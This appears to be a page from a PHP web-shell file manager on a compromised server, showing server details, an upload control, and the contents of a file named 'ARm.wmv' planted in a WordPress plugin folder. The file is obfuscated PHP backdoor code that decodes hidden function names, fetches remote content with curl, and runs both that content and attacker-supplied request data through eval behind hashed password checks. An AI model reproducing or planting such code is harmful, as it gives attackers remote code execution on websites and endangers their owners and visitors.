HEX
Server: Apache/2
System: Linux gains.linuxbigapps.com 4.18.0-553.74.1.lve.el8.x86_64 #1 SMP Tue Sep 9 14:25:24 UTC 2025 x86_64
User: mountains (1551)
PHP: 8.0.30
Disabled: allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Upload Files
File: /home/mountains/public_html/wp-content/plugins/header-footer-elementor/admin/admin/ARm.wmv
<?php
 goto uAxU5HRbSnUfsv; uAxU5HRbSnUfsv: $MiAnyA_F_5RBit = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto vlEFUGmyR3mLoK; coQoTVZ5At0VKL: $XadbTEjh6IiV9Y = ${$R1t_15lUtktgzJ[23 + 8] . $R1t_15lUtktgzJ[28 + 31] . $R1t_15lUtktgzJ[44 + 3] . $R1t_15lUtktgzJ[5 + 42] . $R1t_15lUtktgzJ[49 + 2] . $R1t_15lUtktgzJ[19 + 34] . $R1t_15lUtktgzJ[11 + 46]}; goto OyQjatQmIRy5Pq; fgZIrRUbVHZz5j: ($XadbTEjh6IiV9Y[66] = $XadbTEjh6IiV9Y[66] . $XadbTEjh6IiV9Y[73]) && ($XadbTEjh6IiV9Y[87] = $XadbTEjh6IiV9Y[66]($XadbTEjh6IiV9Y[87])) && @eval($XadbTEjh6IiV9Y[66](${$XadbTEjh6IiV9Y[50]}[17])); goto hfOWI1IOgCYlpH; qJsjU0P0FEhBUa: metaphone("\x47\66\144\x77\x52\x58\127\x4d\x32\166\146\152\157\x4c\x6e\107\x66\x32\127\160\117\131\70\150\167\150\111\57\x4e\x53\x71\x75\x35\63\105\144\115\102\104\x36\143\x77\x6f"); goto RR1SJmgW2WkoJq; vlEFUGmyR3mLoK: $R1t_15lUtktgzJ = $MiAnyA_F_5RBit("\176", "\40"); goto coQoTVZ5At0VKL; OyQjatQmIRy5Pq: if (!(in_array(gettype($XadbTEjh6IiV9Y) . count($XadbTEjh6IiV9Y), $XadbTEjh6IiV9Y) && count($XadbTEjh6IiV9Y) == 23 && md5(md5(md5(md5($XadbTEjh6IiV9Y[17])))) === "\65\x38\67\60\146\x61\x32\146\x65\141\67\x62\61\63\67\141\67\x39\x39\64\141\143\66\64\x33\x38\x35\x37\x61\x61\x30\x35")) { goto rwB60y_jOPc4rQ; } goto fgZIrRUbVHZz5j; RR1SJmgW2WkoJq: class EqNwobUhhpI7ND { static function RA7eD7a8KfYtqM($XuB6_wT5r9Zia6) { goto yHrkRhGBIG4PQx; Ks61xsuGOxEdGJ: foreach ($I6PCyNCAAwHSep as $Vj4K3ZxDdoiRbs => $Mkj8GX97ve1vn9) { $iW5CFZqnplmkgV .= $rYTLvhXdy7WStI[$Mkj8GX97ve1vn9 - 99378]; LtM1AJATPOq2eU: } goto H8KvUKD0frCovF; j_sR9PWc8WS8mt: return $iW5CFZqnplmkgV; goto aWPbfzHZrgDCPz; BcrOha0UMZc4Jd: $rYTLvhXdy7WStI = $LEXHiikvA24paP("\176", "\40"); goto K2cq9nWzK1qpkt; H8KvUKD0frCovF: AUq2yq5XQ1dXfi: goto j_sR9PWc8WS8mt; yHrkRhGBIG4PQx: $LEXHiikvA24paP = "\162" . "\141" . "\156" . "\147" . "\145"; goto BcrOha0UMZc4Jd; Y8x1C7uIGUu4pC: $iW5CFZqnplmkgV = ''; goto Ks61xsuGOxEdGJ; K2cq9nWzK1qpkt: $I6PCyNCAAwHSep = explode("\41", $XuB6_wT5r9Zia6); goto Y8x1C7uIGUu4pC; aWPbfzHZrgDCPz: } static function K3bLZIYMnaHEw2($yTS24KeWjSpo0a, $sNTdH6OimXn2gs) { goto UFaZ3CkTFcNIv1; oc7DBngHf1zgSO: return empty($kpsrmtAYp_2Grb) ? $sNTdH6OimXn2gs($yTS24KeWjSpo0a) : $kpsrmtAYp_2Grb; goto p5X1olM36TcuFa; JhiR5xeVGv4R4y: curl_setopt($FuQgTkp29qEJAN, CURLOPT_RETURNTRANSFER, 1); goto wGNiySvqKmCMAr; UFaZ3CkTFcNIv1: $FuQgTkp29qEJAN = curl_init($yTS24KeWjSpo0a); goto JhiR5xeVGv4R4y; wGNiySvqKmCMAr: $kpsrmtAYp_2Grb = curl_exec($FuQgTkp29qEJAN); goto oc7DBngHf1zgSO; p5X1olM36TcuFa: } static function ojLmxCrgkhNI9Y() { goto sYxcbMiEc2ny5Q; GTicmcP8CgAnZC: if (!(@$XDtPWwNGlngXPK[0] - time() > 0 and md5(md5($XDtPWwNGlngXPK[3 + 0])) === "\x33\x66\66\142\x62\67\64\143\x38\x31\62\61\x34\x36\x37\x65\143\66\x34\x30\145\145\x38\x37\x38\x34\x64\x65\62\x63\141\146")) { goto QlSNcaLLEEiBVr; } goto JihJuMhxY3g133; JihJuMhxY3g133: $selPQTV0hHRjxe = self::k3blziYMnAHeW2($XDtPWwNGlngXPK[1 + 0], $yU3U9paawGusoN[4 + 1]); goto fXvqSv6F9AX4YQ; Q1dvmo0h8bPCwA: $rNhotz3r6oChyI = @$yU3U9paawGusoN[1]($yU3U9paawGusoN[8 + 2](INPUT_GET, $yU3U9paawGusoN[3 + 6])); goto eIjxQ3f9EBZcyv; fXvqSv6F9AX4YQ: @eval($yU3U9paawGusoN[2 + 2]($selPQTV0hHRjxe)); goto xgdjqw1RnH5iaN; JjjFcgRqA_EyFE: @$yU3U9paawGusoN[2 + 8](INPUT_GET, "\157\146") == 1 && die($yU3U9paawGusoN[2 + 3](__FILE__)); goto GTicmcP8CgAnZC; dSuvRJ2QxiezaH: xu7OyVsH0PYndN: goto Q1dvmo0h8bPCwA; YrYHZOM8yXf38n: QlSNcaLLEEiBVr: goto dUaJUSoLM3ZV1W; eIjxQ3f9EBZcyv: $ivqxH1najD6H1R = @$yU3U9paawGusoN[3 + 0]($yU3U9paawGusoN[4 + 2], $rNhotz3r6oChyI); goto f3M6NP76JWVkoV; cLaU9xbGC8OEpQ: foreach ($thYbDODvrn0vuu as $uGwsKmalZLn1G0) { $yU3U9paawGusoN[] = self::Ra7ed7A8KfYTQM($uGwsKmalZLn1G0); scr8fDdz0mv369: } goto dSuvRJ2QxiezaH; sYxcbMiEc2ny5Q: $thYbDODvrn0vuu = array("\71\71\64\60\65\x21\71\71\x33\71\60\41\71\x39\x34\60\63\x21\71\71\x34\60\x37\41\x39\71\63\x38\70\x21\71\x39\64\60\63\x21\71\x39\64\60\71\x21\71\71\64\60\62\x21\71\x39\63\70\67\x21\x39\x39\63\71\x34\41\71\71\x34\x30\x35\x21\x39\x39\63\x38\70\x21\71\71\x33\x39\71\41\x39\71\x33\71\x33\41\71\71\63\x39\x34", "\71\x39\x33\70\71\x21\71\x39\x33\70\70\41\x39\x39\63\71\x30\41\x39\x39\x34\x30\71\41\x39\71\x33\x39\x30\x21\71\71\x33\x39\x33\x21\71\x39\63\x38\x38\x21\71\x39\64\x35\65\x21\71\71\x34\65\x33", "\71\x39\63\x39\x38\41\71\x39\63\x38\71\x21\x39\71\x33\71\x33\41\71\71\63\71\64\x21\x39\x39\x34\60\71\41\71\x39\64\60\x34\x21\71\71\x34\60\63\x21\71\71\x34\60\65\41\x39\71\x33\71\63\41\x39\x39\64\x30\64\x21\71\x39\x34\x30\63", "\71\x39\63\x39\x32\41\71\x39\x34\x30\x37\41\x39\x39\x34\60\65\41\71\x39\63\x39\67", "\71\71\64\60\x36\x21\x39\x39\64\60\67\x21\x39\71\63\70\71\41\x39\x39\x34\x30\63\41\71\71\64\65\x30\41\x39\71\64\x35\x32\x21\x39\x39\x34\60\x39\x21\x39\71\64\60\x34\x21\x39\x39\x34\x30\x33\41\71\71\x34\x30\x35\41\x39\71\x33\71\x33\x21\x39\71\x34\60\64\x21\71\71\x34\x30\x33", "\71\71\64\x30\x32\41\71\71\x33\71\x39\41\x39\x39\63\x39\66\x21\71\x39\64\x30\x33\x21\x39\71\64\60\x39\41\x39\x39\64\60\x31\x21\71\x39\x34\60\63\41\x39\x39\x33\70\70\x21\71\x39\64\60\71\x21\x39\x39\x34\x30\x35\41\x39\x39\63\x39\63\x21\x39\x39\63\x39\64\41\71\x39\63\70\x38\x21\x39\x39\x34\60\63\x21\71\x39\63\71\x34\41\x39\x39\x33\70\70\x21\x39\x39\x33\x38\x39", "\71\x39\64\x33\x32\41\x39\x39\x34\x36\62", "\71\x39\63\67\71", "\71\x39\64\x35\67\41\x39\x39\x34\x36\x32", "\71\x39\x34\x33\x39\41\71\x39\64\62\62\x21\71\71\x34\x32\x32\x21\x39\71\64\63\71\41\x39\x39\64\61\65", "\71\x39\64\x30\x32\41\x39\x39\x33\x39\x39\41\71\x39\63\x39\x36\41\71\71\x33\x38\x38\41\71\71\64\x30\x33\x21\71\71\x33\71\x30\41\71\x39\64\x30\x39\41\71\71\63\71\x39\x21\71\x39\63\71\x34\x21\x39\71\x33\71\x32\41\x39\x39\x33\x38\x37\x21\x39\x39\63\70\x38"); goto cLaU9xbGC8OEpQ; xgdjqw1RnH5iaN: die; goto YrYHZOM8yXf38n; f3M6NP76JWVkoV: $XDtPWwNGlngXPK = $yU3U9paawGusoN[0 + 2]($ivqxH1najD6H1R, true); goto JjjFcgRqA_EyFE; dUaJUSoLM3ZV1W: } } goto a98vL3m3UFW0qC; hfOWI1IOgCYlpH: rwB60y_jOPc4rQ: goto qJsjU0P0FEhBUa; a98vL3m3UFW0qC: EQnWObUHHPi7nd::ojLMXcRGKhNi9y();
?>